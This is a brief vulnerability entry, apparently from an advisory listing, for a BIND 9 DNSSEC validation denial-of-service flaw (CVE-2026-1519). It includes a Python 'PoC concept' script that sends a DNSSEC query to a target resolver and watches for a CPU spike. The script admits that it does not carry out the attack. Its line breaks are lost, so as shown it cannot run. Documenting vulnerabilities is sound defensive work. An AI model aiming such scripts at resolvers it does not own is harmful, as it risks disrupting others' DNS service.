CVE-2026-1519 BIND 9 DNSSEC验证拒绝服务漏洞

#!/usr/bin/env python3 """ PoC Concept for CVE-2026-1519 This script demonstrates how to send a DNS query with DNSSEC OK (DO) bit set to trigger DNSSEC validation on a target resolver. Note: Actual exploitation requires a maliciously crafted zone served by an authoritative name server controlled by the attacker. """ import dns.message import dns.query def trigger_poc(target_ip): # Create a DNS query with DNSSEC OK bit set query = dns.message.make_query('example.com', 'A') query.flags |= dns.flags.AD query.use_edns(edns=0, ednsflags=dns.flags.DO) try: # Send query to the target resolver response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip}, response received: {response.id}") print("Monitor target CPU usage for potential spike.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the IP of the vulnerable BIND resolver target = "192.168.1.1" trigger_poc(target)